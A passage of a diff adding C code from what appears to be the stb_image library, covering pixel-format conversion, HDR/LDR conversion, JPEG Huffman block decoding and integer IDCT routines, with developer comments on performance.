+         STBI__CASE(2,4) { dest[0]=dest[1]=dest[2]=src[0], dest[3]=src[1];                  } break;
+         STBI__CASE(3,4) { dest[0]=src[0],dest[1]=src[1],dest[2]=src[2],dest[3]=255;        } break;
+         STBI__CASE(3,1) { dest[0]=stbi__compute_y(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(3,2) { dest[0]=stbi__compute_y(src[0],src[1],src[2]), dest[1] = 255;    } break;
+         STBI__CASE(4,1) { dest[0]=stbi__compute_y(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(4,2) { dest[0]=stbi__compute_y(src[0],src[1],src[2]), dest[1] = src[3]; } break;
+         STBI__CASE(4,3) { dest[0]=src[0],dest[1]=src[1],dest[2]=src[2];                    } break;
+         default: STBI_ASSERT(0);
+      }
+      #undef STBI__CASE
+   }
+
+   STBI_FREE(data);
+   return good;
+}
+
+static stbi__uint16 stbi__compute_y_16(int r, int g, int b)
+{
+   return (stbi__uint16) (((r*77) + (g*150) +  (29*b)) >> 8);
+}
+
+static stbi__uint16 *stbi__convert_format16(stbi__uint16 *data, int img_n, int req_comp, unsigned int x, unsigned int y)
+{
+   int i,j;
+   stbi__uint16 *good;
+
+   if (req_comp == img_n) return data;
+   STBI_ASSERT(req_comp >= 1 && req_comp <= 4);
+
+   good = (stbi__uint16 *) stbi__malloc(req_comp * x * y * 2);
+   if (good == NULL) {
+      STBI_FREE(data);
+      return (stbi__uint16 *) stbi__errpuc("outofmem", "Out of memory");
+   }
+
+   for (j=0; j < (int) y; ++j) {
+      stbi__uint16 *src  = data + j * x * img_n   ;
+      stbi__uint16 *dest = good + j * x * req_comp;
+
+      #define STBI__COMBO(a,b)  ((a)*8+(b))
+      #define STBI__CASE(a,b)   case STBI__COMBO(a,b): for(i=x-1; i >= 0; --i, src += a, dest += b)
+      // convert source image with img_n components to one with req_comp components;
+      // avoid switch per pixel, so use switch per scanline and massive macros
+      switch (STBI__COMBO(img_n, req_comp)) {
+         STBI__CASE(1,2) { dest[0]=src[0], dest[1]=0xffff;                                     } break;
+         STBI__CASE(1,3) { dest[0]=dest[1]=dest[2]=src[0];                                     } break;
+         STBI__CASE(1,4) { dest[0]=dest[1]=dest[2]=src[0], dest[3]=0xffff;                     } break;
+         STBI__CASE(2,1) { dest[0]=src[0];                                                     } break;
+         STBI__CASE(2,3) { dest[0]=dest[1]=dest[2]=src[0];                                     } break;
+         STBI__CASE(2,4) { dest[0]=dest[1]=dest[2]=src[0], dest[3]=src[1];                     } break;
+         STBI__CASE(3,4) { dest[0]=src[0],dest[1]=src[1],dest[2]=src[2],dest[3]=0xffff;        } break;
+         STBI__CASE(3,1) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(3,2) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]), dest[1] = 0xffff; } break;
+         STBI__CASE(4,1) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(4,2) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]), dest[1] = src[3]; } break;
+         STBI__CASE(4,3) { dest[0]=src[0],dest[1]=src[1],dest[2]=src[2];                       } break;
+         default: STBI_ASSERT(0);
+      }
+      #undef STBI__CASE
+   }
+
+   STBI_FREE(data);
+   return good;
+}
+
+#ifndef STBI_NO_LINEAR
+static float   *stbi__ldr_to_hdr(stbi_uc *data, int x, int y, int comp)
+{
+   int i,k,n;
+   float *output;
+   if (!data) return NULL;
+   output = (float *) stbi__malloc_mad4(x, y, comp, sizeof(float), 0);
+   if (output == NULL) { STBI_FREE(data); return stbi__errpf("outofmem", "Out of memory"); }
+   // compute number of non-alpha components
+   if (comp & 1) n = comp; else n = comp-1;
+   for (i=0; i < x*y; ++i) {
+      for (k=0; k < n; ++k) {
+         output[i*comp + k] = (float) (pow(data[i*comp+k]/255.0f, stbi__l2h_gamma) * stbi__l2h_scale);
+      }
+      if (k < comp) output[i*comp + k] = data[i*comp+k]/255.0f;
+   }
+   STBI_FREE(data);
+   return output;
+}
+#endif
+
+#ifndef STBI_NO_HDR
+#define stbi__float2int(x)   ((int) (x))
+static stbi_uc *stbi__hdr_to_ldr(float   *data, int x, int y, int comp)
+{
+   int i,k,n;
+   stbi_uc *output;
+   if (!data) return NULL;
+   output = (stbi_uc *) stbi__malloc_mad3(x, y, comp, 0);
+   if (output == NULL) { STBI_FREE(data); return stbi__errpuc("outofmem", "Out of memory"); }
+   // compute number of non-alpha components
+   if (comp & 1) n = comp; else n = comp-1;
+   for (i=0; i < x*y; ++i) {
+      for (k=0; k < n; ++k) {
+         float z = (float) pow(data[i*comp+k]*stbi__h2l_scale_i, stbi__h2l_gamma_i) * 255 + 0.5f;
+         if (z < 0) z = 0;
+         if (z > 255) z = 255;
+         output[i*comp + k] = (stbi_uc) stbi__float2int(z);
+      }
+      if (k < comp) {
+         float z = data[i*comp+k] * 255 + 0.5f;
+         if (z < 0) z = 0;
+         if (z > 255) z = 255;
+         output[i*comp + k] = (stbi_uc) stbi__float2int(z);
+      }
+   }
+   STBI_FREE(data);
+   return output;
+}
+#endif
+
+//////////////////////////////////////////////////////////////////////////////
+//
+//  "baseline" JPEG/JFIF decoder
+//
+//    simple implementation
+//      - doesn't support delayed output of y-dimension
+//      - simple interface (only one output format: 8-bit interleaved RGB)
+//      - doesn't try to recover corrupt jpegs
+//      - doesn't allow partial loading, loading multiple at once
+//      - still fast on x86 (copying globals into locals doesn't help x86)
+//      - allocates lots of intermediate memory (full size of all components)
+//        - non-interleaved case requires this anyway
+//        - allows good upsampling (see next)
+//    high-quality
+//      - upsampled channels are bilinearly interpolated, even across blocks
+//      - quality integer IDCT derived from IJG's 'slow'
+//    performance
+//      - fast huffman; reasonable integer IDCT
+//      - some SIMD kernels for common paths on targets with SSE2/NEON
+//      - uses a lot of intermediate memory, could cache poorly
+
+#ifndef STBI_NO_JPEG
+
+// huffman decoding acceleration
+#define FAST_BITS   9  // larger handles more cases; smaller stomps less cache
+
+typedef struct
+{
+   stbi_uc  fast[1 << FAST_BITS];
+   // weirdly, repacking this into AoS is a 10% speed loss, instead of a win
+   stbi__uint16 code[256];
+   stbi_uc  values[256];
+   stbi_uc  size[257];
+   unsigned int maxcode[18];
+   int    delta[17];   // old 'firstsymbol' - old 'firstcode'
+} stbi__huffman;
+
+typedef struct
+{
+   stbi__context *s;
+   stbi__huffman huff_dc[4];
+   stbi__huffman huff_ac[4];
+   stbi__uint16 dequant[4][64];
+   stbi__int16 fast_ac[4][1 << FAST_BITS];
+
+// sizes for components, interleaved MCUs
+   int img_h_max, img_v_max;
+   int img_mcu_x, img_mcu_y;
+   int img_mcu_w, img_mcu_h;
+
+// definition of jpeg image component
+   struct
+   {
+      int id;
+      int h,v;
+      int tq;
+      int hd,ha;
+      int dc_pred;
+
+      int x,y,w2,h2;
+      stbi_uc *data;
+      void *raw_data, *raw_coeff;
+      stbi_uc *linebuf;
+      short   *coeff;   // progressive only
+      int      coeff_w, coeff_h; // number of 8x8 coefficient blocks
+   } img_comp[4];
+
+   stbi__uint32   code_buffer; // jpeg entropy-coded buffer
+   int            code_bits;   // number of valid bits
+   unsigned char  marker;      // marker seen while filling entropy buffer
+   int            nomore;      // flag if we saw a marker so must stop
+
+   int            progressive;
+   int            spec_start;
+   int            spec_end;
+   int            succ_high;
+   int            succ_low;
+   int            eob_run;
+   int            jfif;
+   int            app14_color_transform; // Adobe APP14 tag
+   int            rgb;
+
+   int scan_n, order[4];
+   int restart_interval, todo;
+
+// kernels
+   void (*idct_block_kernel)(stbi_uc *out, int out_stride, short data[64]);
+   void (*YCbCr_to_RGB_kernel)(stbi_uc *out, const stbi_uc *y, const stbi_uc *pcb, const stbi_uc *pcr, int count, int step);
+   stbi_uc *(*resample_row_hv_2_kernel)(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs);
+} stbi__jpeg;
+
+static int stbi__build_huffman(stbi__huffman *h, int *count)
+{
+   int i,j,k=0;
+   unsigned int code;
+   // build size list for each symbol (from JPEG spec)
+   for (i=0; i < 16; ++i)
+      for (j=0; j < count[i]; ++j)
+         h->size[k++] = (stbi_uc) (i+1);
+   h->size[k] = 0;
+
+   // compute actual symbols (from jpeg spec)
+   code = 0;
+   k = 0;
+   for(j=1; j <= 16; ++j) {
+      // compute delta to add to code to compute symbol id
+      h->delta[j] = k - code;
+      if (h->size[k] == j) {
+         while (h->size[k] == j)
+            h->code[k++] = (stbi__uint16) (code++);
+         if (code-1 >= (1u << j)) return stbi__err("bad code lengths","Corrupt JPEG");
+      }
+      // compute largest code + 1 for this size, preshifted as needed later
+      h->maxcode[j] = code << (16-j);
+      code <<= 1;
+   }
+   h->maxcode[j] = 0xffffffff;
+
+   // build non-spec acceleration table; 255 is flag for not-accelerated
+   memset(h->fast, 255, 1 << FAST_BITS);
+   for (i=0; i < k; ++i) {
+      int s = h->size[i];
+      if (s <= FAST_BITS) {
+         int c = h->code[i] << (FAST_BITS-s);
+         int m = 1 << (FAST_BITS-s);
+         for (j=0; j < m; ++j) {
+            h->fast[c+j] = (stbi_uc) i;
+         }
+      }
+   }
+   return 1;
+}
+
+// build a table that decodes both magnitude and value of small ACs in
+// one go.
+static void stbi__build_fast_ac(stbi__int16 *fast_ac, stbi__huffman *h)
+{
+   int i;
+   for (i=0; i < (1 << FAST_BITS); ++i) {
+      stbi_uc fast = h->fast[i];
+      fast_ac[i] = 0;
+      if (fast < 255) {
+         int rs = h->values[fast];
+         int run = (rs >> 4) & 15;
+         int magbits = rs & 15;
+         int len = h->size[fast];
+
+         if (magbits && len + magbits <= FAST_BITS) {
+            // magnitude code followed by receive_extend code
+            int k = ((i << len) & ((1 << FAST_BITS) - 1)) >> (FAST_BITS - magbits);
+            int m = 1 << (magbits - 1);
+            if (k < m) k += (~0U << magbits) + 1;
+            // if the result is small enough, we can fit it in fast_ac table
+            if (k >= -128 && k <= 127)
+               fast_ac[i] = (stbi__int16) ((k * 256) + (run * 16) + (len + magbits));
+         }
+      }
+   }
+}
+
+static void stbi__grow_buffer_unsafe(stbi__jpeg *j)
+{
+   do {
+      unsigned int b = j->nomore ? 0 : stbi__get8(j->s);
+      if (b == 0xff) {
+         int c = stbi__get8(j->s);
+         while (c == 0xff) c = stbi__get8(j->s); // consume fill bytes
+         if (c != 0) {
+            j->marker = (unsigned char) c;
+            j->nomore = 1;
+            return;
+         }
+      }
+      j->code_buffer |= b << (24 - j->code_bits);
+      j->code_bits += 8;
+   } while (j->code_bits <= 24);
+}
+
+// (1 << n) - 1
+static const stbi__uint32 stbi__bmask[17]={0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535};
+
+// decode a jpeg huffman value from the bitstream
+stbi_inline static int stbi__jpeg_huff_decode(stbi__jpeg *j, stbi__huffman *h)
+{
+   unsigned int temp;
+   int c,k;
+
+   if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+
+   // look at the top FAST_BITS and determine what symbol ID it is,
+   // if the code is <= FAST_BITS
+   c = (j->code_buffer >> (32 - FAST_BITS)) & ((1 << FAST_BITS)-1);
+   k = h->fast[c];
+   if (k < 255) {
+      int s = h->size[k];
+      if (s > j->code_bits)
+         return -1;
+      j->code_buffer <<= s;
+      j->code_bits -= s;
+      return h->values[k];
+   }
+
+   // naive test is to shift the code_buffer down so k bits are
+   // valid, then test against maxcode. To speed this up, we've
+   // preshifted maxcode left so that it has (16-k) 0s at the
+   // end; in other words, regardless of the number of bits, it
+   // wants to be compared against something shifted to have 16;
+   // that way we don't need to shift inside the loop.
+   temp = j->code_buffer >> 16;
+   for (k=FAST_BITS+1 ; ; ++k)
+      if (temp < h->maxcode[k])
+         break;
+   if (k == 17) {
+      // error! code not found
+      j->code_bits -= 16;
+      return -1;
+   }
+
+   if (k > j->code_bits)
+      return -1;
+
+   // convert the huffman code to the symbol id
+   c = ((j->code_buffer >> (32 - k)) & stbi__bmask[k]) + h->delta[k];
+   STBI_ASSERT((((j->code_buffer) >> (32 - h->size[c])) & stbi__bmask[h->size[c]]) == h->code[c]);
+
+   // convert the id to a symbol
+   j->code_bits -= k;
+   j->code_buffer <<= k;
+   return h->values[c];
+}
+
+// bias[n] = (-1<<n) + 1
+static const int stbi__jbias[16] = {0,-1,-3,-7,-15,-31,-63,-127,-255,-511,-1023,-2047,-4095,-8191,-16383,-32767};
+
+// combined JPEG 'receive' and JPEG 'extend', since baseline
+// always extends everything it receives.
+stbi_inline static int stbi__extend_receive(stbi__jpeg *j, int n)
+{
+   unsigned int k;
+   int sgn;
+   if (j->code_bits < n) stbi__grow_buffer_unsafe(j);
+
+   sgn = (stbi__int32)j->code_buffer >> 31; // sign bit is always in MSB
+   k = stbi_lrot(j->code_buffer, n);
+   STBI_ASSERT(n >= 0 && n < (int) (sizeof(stbi__bmask)/sizeof(*stbi__bmask)));
+   j->code_buffer = k & ~stbi__bmask[n];
+   k &= stbi__bmask[n];
+   j->code_bits -= n;
+   return k + (stbi__jbias[n] & ~sgn);
+}
+
+// get some unsigned bits
+stbi_inline static int stbi__jpeg_get_bits(stbi__jpeg *j, int n)
+{
+   unsigned int k;
+   if (j->code_bits < n) stbi__grow_buffer_unsafe(j);
+   k = stbi_lrot(j->code_buffer, n);
+   j->code_buffer = k & ~stbi__bmask[n];
+   k &= stbi__bmask[n];
+   j->code_bits -= n;
+   return k;
+}
+
+stbi_inline static int stbi__jpeg_get_bit(stbi__jpeg *j)
+{
+   unsigned int k;
+   if (j->code_bits < 1) stbi__grow_buffer_unsafe(j);
+   k = j->code_buffer;
+   j->code_buffer <<= 1;
+   --j->code_bits;
+   return k & 0x80000000;
+}
+
+// given a value that's at position X in the zigzag stream,
+// where does it appear in the 8x8 matrix coded as row-major?
+static const stbi_uc stbi__jpeg_dezigzag[64+15] =
+{
+    0,  1,  8, 16,  9,  2,  3, 10,
+   17, 24, 32, 25, 18, 11,  4,  5,
+   12, 19, 26, 33, 40, 48, 41, 34,
+   27, 20, 13,  6,  7, 14, 21, 28,
+   35, 42, 49, 56, 57, 50, 43, 36,
+   29, 22, 15, 23, 30, 37, 44, 51,
+   58, 59, 52, 45, 38, 31, 39, 46,
+   53, 60, 61, 54, 47, 55, 62, 63,
+   // let corrupt input sample past end
+   63, 63, 63, 63, 63, 63, 63, 63,
+   63, 63, 63, 63, 63, 63, 63
+};
+
+// decode one 64-entry block--
+static int stbi__jpeg_decode_block(stbi__jpeg *j, short data[64], stbi__huffman *hdc, stbi__huffman *hac, stbi__int16 *fac, int b, stbi__uint16 *dequant)
+{
+   int diff,dc,k;
+   int t;
+
+   if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+   t = stbi__jpeg_huff_decode(j, hdc);
+   if (t < 0) return stbi__err("bad huffman code","Corrupt JPEG");
+
+   // 0 all the ac values now so we can do it 32-bits at a time
+   memset(data,0,64*sizeof(data[0]));
+
+   diff = t ? stbi__extend_receive(j, t) : 0;
+   dc = j->img_comp[b].dc_pred + diff;
+   j->img_comp[b].dc_pred = dc;
+   data[0] = (short) (dc * dequant[0]);
+
+   // decode AC components, see JPEG spec
+   k = 1;
+   do {
+      unsigned int zig;
+      int c,r,s;
+      if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+      c = (j->code_buffer >> (32 - FAST_BITS)) & ((1 << FAST_BITS)-1);
+      r = fac[c];
+      if (r) { // fast-AC path
+         k += (r >> 4) & 15; // run
+         s = r & 15; // combined length
+         j->code_buffer <<= s;
+         j->code_bits -= s;
+         // decode into unzigzag'd location
+         zig = stbi__jpeg_dezigzag[k++];
+         data[zig] = (short) ((r >> 8) * dequant[zig]);
+      } else {
+         int rs = stbi__jpeg_huff_decode(j, hac);
+         if (rs < 0) return stbi__err("bad huffman code","Corrupt JPEG");
+         s = rs & 15;
+         r = rs >> 4;
+         if (s == 0) {
+            if (rs != 0xf0) break; // end block
+            k += 16;
+         } else {
+            k += r;
+            // decode into unzigzag'd location
+            zig = stbi__jpeg_dezigzag[k++];
+            data[zig] = (short) (stbi__extend_receive(j,s) * dequant[zig]);
+         }
+      }
+   } while (k < 64);
+   return 1;
+}
+
+static int stbi__jpeg_decode_block_prog_dc(stbi__jpeg *j, short data[64], stbi__huffman *hdc, int b)
+{
+   int diff,dc;
+   int t;
+   if (j->spec_end != 0) return stbi__err("can't merge dc and ac", "Corrupt JPEG");
+
+   if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+
+   if (j->succ_high == 0) {
+      // first scan for DC coefficient, must be first
+      memset(data,0,64*sizeof(data[0])); // 0 all the ac values now
+      t = stbi__jpeg_huff_decode(j, hdc);
+      diff = t ? stbi__extend_receive(j, t) : 0;
+
+      dc = j->img_comp[b].dc_pred + diff;
+      j->img_comp[b].dc_pred = dc;
+      data[0] = (short) (dc << j->succ_low);
+   } else {
+      // refinement scan for DC coefficient
+      if (stbi__jpeg_get_bit(j))
+         data[0] += (short) (1 << j->succ_low);
+   }
+   return 1;
+}
+
+// @OPTIMIZE: store non-zigzagged during the decode passes,
+// and only de-zigzag when dequantizing
+static int stbi__jpeg_decode_block_prog_ac(stbi__jpeg *j, short data[64], stbi__huffman *hac, stbi__int16 *fac)
+{
+   int k;
+   if (j->spec_start == 0) return stbi__err("can't merge dc and ac", "Corrupt JPEG");
+
+   if (j->succ_high == 0) {
+      int shift = j->succ_low;
+
+      if (j->eob_run) {
+         --j->eob_run;
+         return 1;
+      }
+
+      k = j->spec_start;
+      do {
+         unsigned int zig;
+         int c,r,s;
+         if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+         c = (j->code_buffer >> (32 - FAST_BITS)) & ((1 << FAST_BITS)-1);
+         r = fac[c];
+         if (r) { // fast-AC path
+            k += (r >> 4) & 15; // run
+            s = r & 15; // combined length
+            j->code_buffer <<= s;
+            j->code_bits -= s;
+            zig = stbi__jpeg_dezigzag[k++];
+            data[zig] = (short) ((r >> 8) << shift);
+         } else {
+            int rs = stbi__jpeg_huff_decode(j, hac);
+            if (rs < 0) return stbi__err("bad huffman code","Corrupt JPEG");
+            s = rs & 15;
+            r = rs >> 4;
+            if (s == 0) {
+               if (r < 15) {
+                  j->eob_run = (1 << r);
+                  if (r)
+                     j->eob_run += stbi__jpeg_get_bits(j, r);
+                  --j->eob_run;
+                  break;
+               }
+               k += 16;
+            } else {
+               k += r;
+               zig = stbi__jpeg_dezigzag[k++];
+               data[zig] = (short) (stbi__extend_receive(j,s) << shift);
+            }
+         }
+      } while (k <= j->spec_end);
+   } else {
+      // refinement scan for these AC coefficients
+
+      short bit = (short) (1 << j->succ_low);
+
+      if (j->eob_run) {
+         --j->eob_run;
+         for (k = j->spec_start; k <= j->spec_end; ++k) {
+            short *p = &data[stbi__jpeg_dezigzag[k]];
+            if (*p != 0)
+               if (stbi__jpeg_get_bit(j))
+                  if ((*p & bit)==0) {
+                     if (*p > 0)
+                        *p += bit;
+                     else
+                        *p -= bit;
+                  }
+         }
+      } else {
+         k = j->spec_start;
+         do {
+            int r,s;
+            int rs = stbi__jpeg_huff_decode(j, hac); // @OPTIMIZE see if we can use the fast path here, advance-by-r is so slow, eh
+            if (rs < 0) return stbi__err("bad huffman code","Corrupt JPEG");
+            s = rs & 15;
+            r = rs >> 4;
+            if (s == 0) {
+               if (r < 15) {
+                  j->eob_run = (1 << r) - 1;
+                  if (r)
+                     j->eob_run += stbi__jpeg_get_bits(j, r);
+                  r = 64; // force end of block
+               } else {
+                  // r=15 s=0 should write 16 0s, so we just do
+                  // a run of 15 0s and then write s (which is 0),
+                  // so we don't have to do anything special here
+               }
+            } else {
+               if (s != 1) return stbi__err("bad huffman code", "Corrupt JPEG");
+               // sign bit
+               if (stbi__jpeg_get_bit(j))
+                  s = bit;
+               else
+                  s = -bit;
+            }
+
+            // advance by r
+            while (k <= j->spec_end) {
+               short *p = &data[stbi__jpeg_dezigzag[k++]];
+               if (*p != 0) {
+                  if (stbi__jpeg_get_bit(j))
+                     if ((*p & bit)==0) {
+                        if (*p > 0)
+                           *p += bit;
+                        else
+                           *p -= bit;
+                     }
+               } else {
+                  if (r == 0) {
+                     *p = (short) s;
+                     break;
+                  }
+                  --r;
+               }
+            }
+         } while (k <= j->spec_end);
+      }
+   }
+   return 1;
+}
+
+// take a -128..127 value and stbi__clamp it and convert to 0..255
+stbi_inline static stbi_uc stbi__clamp(int x)
+{
+   // trick to use a single test to catch both cases
+   if ((unsigned int) x > 255) {
+      if (x < 0) return 0;
+      if (x > 255) return 255;
+   }
+   return (stbi_uc) x;
+}
+
+#define stbi__f2f(x)  ((int) (((x) * 4096 + 0.5)))
+#define stbi__fsh(x)  ((x) * 4096)
+
+// derived from jidctint -- DCT_ISLOW
+#define STBI__IDCT_1D(s0,s1,s2,s3,s4,s5,s6,s7) \
+   int t0,t1,t2,t3,p1,p2,p3,p4,p5,x0,x1,x2,x3; \
+   p2 = s2;                                    \
+   p3 = s6;                                    \
+   p1 = (p2+p3) * stbi__f2f(0.5411961f);       \
+   t2 = p1 + p3*stbi__f2f(-1.847759065f);      \
+   t3 = p1 + p2*stbi__f2f( 0.765366865f);      \
+   p2 = s0;                                    \
+   p3 = s4;                                    \
+   t0 = stbi__fsh(p2+p3);                      \
+   t1 = stbi__fsh(p2-p3);                      \
+   x0 = t0+t3;                                 \
+   x3 = t0-t3;                                 \
+   x1 = t1+t2;                                 \
+   x2 = t1-t2;                                 \
+   t0 = s7;                                    \
+   t1 = s5;                                    \
+   t2 = s3;                                    \
+   t3 = s1;                                    \
+   p3 = t0+t2;                                 \
+   p4 = t1+t3;                                 \
+   p1 = t0+t3;                                 \
+   p2 = t1+t2;                                 \
+   p5 = (p3+p4)*stbi__f2f( 1.175875602f);      \
+   t0 = t0*stbi__f2f( 0.298631336f);           \
+   t1 = t1*stbi__f2f( 2.053119869f);           \
+   t2 = t2*stbi__f2f( 3.072711026f);           \
+   t3 = t3*stbi__f2f( 1.501321110f);           \
+   p1 = p5 + p1*stbi__f2f(-0.899976223f);      \
+   p2 = p5 + p2*stbi__f2f(-2.562915447f);      \
+   p3 = p3*stbi__f2f(-1.961570560f);           \
+   p4 = p4*stbi__f2f(-0.390180644f);           \
+   t3 += p1+p4;                                \
+   t2 += p2+p3;                                \
+   t1 += p2+p4;                                \
+   t0 += p1+p3;
+
+static void stbi__idct_block(stbi_uc *out, int out_stride, short data[64])
+{
+   int i,val[64],*v=val;
+   stbi_uc *o;
+   short *d = data;
+
+   // columns
+   for (i=0; i < 8; ++i,++d, ++v) {
+      // if all zeroes, shortcut -- this avoids dequantizing 0s and IDCTing
+      if (d[ 8]==0 && d[16]==0 && d[24]==0 && d[32]==0
+           && d[40]==0 && d[48]==0 && d[56]==0) {
+         //    no shortcut                 0     seconds
+         //    (1|2|3|4|5|6|7)==0          0     seconds
+         //    all separate               -0.047 seconds
+         //    1 && 2|3 && 4|5 && 6|7:    -0.047 seconds
+         int dcterm = d[0]*4;
+         v[0] = v[8] = v[16] = v[24] = v[32] = v[40] = v[48] = v[56] = dcterm;
+      } else {
+         STBI__IDCT_1D(d[ 0],d[ 8],d[16],d[24],d[32],d[40],d[48],d[56])
+         // constants scaled things up by 1<<12; let's bring them back
+         // down, but keep 2 extra bits of precision
+         x0 += 512; x1 += 512; x2 += 512; x3 += 512;
+         v[ 0] = (x0+t3) >> 10;
+         v[56] = (x0-t3) >> 10;
+         v[ 8] = (x1+t2) >> 10;
+         v[48] = (x1-t2) >> 10;
+         v[16] = (x2+t1) >> 10;
+         v[40] = (x2-t1) >> 10;
+         v[24] = (x3+t0) >> 10;
+         v[32] = (x3-t0) >> 10;
+      }
+   }
+
+   for (i=0, v=val, o=out; i < 8; ++i,v+=8,o+=out_stride) {
+      // no fast case since the first 1D IDCT spread components out
+      STBI__IDCT_1D(v[0],v[1],v[2],v[3],v[4],v[5],v[6],v[7])
+      // constants scaled things up by 1<<12, plus we had 1<<2 from first
+      // loop, plus horizontal and vertical each scale by sqrt(8) so together
+      // we've got an extra 1<<3, so 1<<17 total we need to remove.
+      // so we want to round that, which means adding 0.5 * 1<<17,
+      // aka 65536. Also, we'll end up with -128 to 127 that we want
+      // to encode as 0..255 by adding 128, so we'll add that before the shift
+      x0 += 65536 + (128<<17);
+      x1 += 65536 + (128<<17);
+      x2 += 65536 + (128<<17);
+      x3 += 65536 + (128<<17);
+      // tried computing the shifts into temps, or'ing the temps to see
+      // if any were out of range, but that was slower
+      o[0] = stbi__clamp((x0+t3) >> 17);
+      o[7] = stbi__clamp((x0-t3) >> 17);
+      o[1] = stbi__clamp((x1+t2) >> 17);
+      o[6] = stbi__clamp((x1-t2) >> 17);
+      o[2] = stbi__clamp((x2+t1) >> 17);
+      o[5] = stbi__clamp((x2-t1) >> 17);
+      o[3] = stbi__clamp((x3+t0) >> 17);
+      o[4] = stbi__clamp((x3-t0) >> 17);
+   }
+}
+
+#ifdef STBI_SSE2
+// sse2 integer IDCT. not the fastest possible implementation but it
+// produces bit-identical results to the generic C version so it's
+// fully "transparent".
+static void stbi__idct_simd(stbi_uc *out, int out_stride, short data[64])
+{
+   // This is constructed to match our regular (generic) integer IDCT exactly.
+   __m128i row0, row1, row2, row3, row4, row5, row6, row7;
+   __m128i tmp;
+
+   // dot product constant: even elems=x, odd elems=y
+   #define dct_const(x,y)  _mm_setr_epi16((x),(y),(x),(y),(x),(y),(x),(y))
+
+   // out(0) = c0[even]*x + c0[odd]*y   (c0, x, y 16-bit, out 32-bit)
+   // out(1) = c1[even]*x + c1[odd]*y
+   #define dct_rot(out0,out1, x,y,c0,c1) \
+      __m128i c0##lo = _mm_unpacklo_epi16((x),(y)); \
+      __m128i c0##hi = _mm_unpackhi_epi16((x),(y)); \
+      __m128i out0##_l = _mm_madd_epi16(c0##lo, c0); \
+      __m128i out0##_h = _mm_madd_epi16(c0##hi, c0); \
+      __m128i out1##_l = _mm_madd_epi16(c0##lo, c1); \
+      __m128i out1##_h = _mm_madd_epi16(c0##hi, c1)
+
+   // out = in << 12  (in 16-bit, out 32-bit)
+   #define dct_widen(out, in) \
+      __m128i out##_l = _mm_srai_epi32(_mm_unpacklo_epi16(_mm_setzero_si128(), (in)), 4); \
+      __m128i out##_h = _mm_srai_epi32(_mm_unpackhi_epi16(_mm_setzero_si128(), (in)), 4)
+
+   // wide add
+   #define dct_wadd(out, a, b) \
+      __m128i out##_l = _mm_add_epi32(a##_l, b##_l); \
+      __m128i out##_h = _mm_add_epi32(a##_h, b##_h)
+
+   // wide sub
+   #define dct_wsub(out, a, b) \
+      __m128i out##_l = _mm_sub_epi32(a##_l, b##_l); \
+      __m128i out##_h = _mm_sub_epi32(a##_h, b##_h)
+
+   // butterfly a/b, add bias, then shift by "s" and pack
+   #define dct_bfly32o(out0, out1, a,b,bias,s) \
+      { \
+         __m128i abiased_l = _mm_add_epi32(a##_l, bias); \
+         __m128i abiased_h = _mm_add_epi32(a##_h, bias); \
+         dct_wadd(sum, abiased, b); \
+         dct_wsub(dif, abiased, b); \
+         out0 = _mm_packs_epi32(_mm_srai_epi32(sum_l, s), _mm_srai_epi32(sum_h, s)); \
+         out1 = _mm_packs_epi32(_mm_srai_epi32(dif_l, s), _mm_srai_epi32(dif_h, s)); \
+      }
+
+   // 8-bit interleave step (for transposes)
+   #define dct_interleave8(a, b) \
+      tmp = a; \
+      a = _mm_unpacklo_epi8(a, b); \
+      b = _mm_unpackhi_epi8(tmp, b)
+
+   // 16-bit interleave step (for transposes)
+   #define dct_interleave16(a, b) \
+      tmp = a; \
+      a = _mm_unpacklo_epi16(a, b); \
+      b = _mm_unpackhi_epi16(tmp, b)
+
+   #define dct_pass(bias,shift) \
+      { \
+         /* even part */ \
+         dct_rot(t2e,t3e, row2,row6, rot0_0,rot0_1); \
+         __m128i sum04 = _mm_add_epi16(row0, row4); \
+         __m128i dif04 = _mm_sub_epi16(row0, row4); \
+         dct_widen(t0e, sum04); \
+         dct_widen(t1e, dif04); \
+         dct_wadd(x0, t0e, t3e); \
+         dct_wsub(x3, t0e, t3e); \
+         dct_wadd(x1, t1e, t2e); \
+         dct_wsub(x2, t1e, t2e); \
+         /* odd part */ \
+         dct_rot(y0o,y2o, row7,row3, rot2_0,rot2_1); \
+         dct_rot(y1o,y3o, row5,row1, rot3_0,rot3_1); \
+         __m128i sum17 = _mm_add_epi16(row1, row7); \
+         __m128i sum35 = _mm_add_epi16(row3, row5); \
+         dct_rot(y4o,y5o, sum17,sum35, rot1_0,rot1_1); \
+         dct_wadd(x4, y0o, y4o); \
+         dct_wadd(x5, y1o, y5o); \
+         dct_wadd(x6, y2o, y5o); \
+         dct_wadd(x7, y3o, y4o); \
+         dct_bfly32o(row0,row7, x0,x7,bias,shift); \
+         dct_bfly32o(row1,row6, x1,x6,bias,shift); \
+         dct_bfly32o(row2,row5, x2,x5,bias,shift); \
+         dct_bfly32o(row3,row4, x3,x4,bias,shift); \
+      }
+
+   __m128i rot0_0 = dct_const(stbi__f2f(0.5411961f), stbi__f2f(0.5411961f) + stbi__f2f(-1.847759065f));
+   __m128i rot0_1 = dct_const(stbi__f2f(0.5411961f) + stbi__f2f( 0.765366865f), stbi__f2f(0.5411961f));
+   __m128i rot1_0 = dct_const(stbi__f2f(1.175875602f) + stbi__f2f(-0.899976223f), stbi__f2f(1.175875602f));
+   __m128i rot1_1 = dct_const(stbi__f2f(1.175875602f), stbi__f2f(1.175875602f) + stbi__f2f(-2.562915447f));
+   __m128i rot2_0 = dct_const(stbi__f2f(-1.961570560f) + stbi__f2f( 0.298631336f), stbi__f2f(-1.961570560f));
+   __m128i rot2_1 = dct_const(stbi__f2f(-1.961570560f), stbi__f2f(-1.961570560f) + stbi__f2f( 3.072711026f));
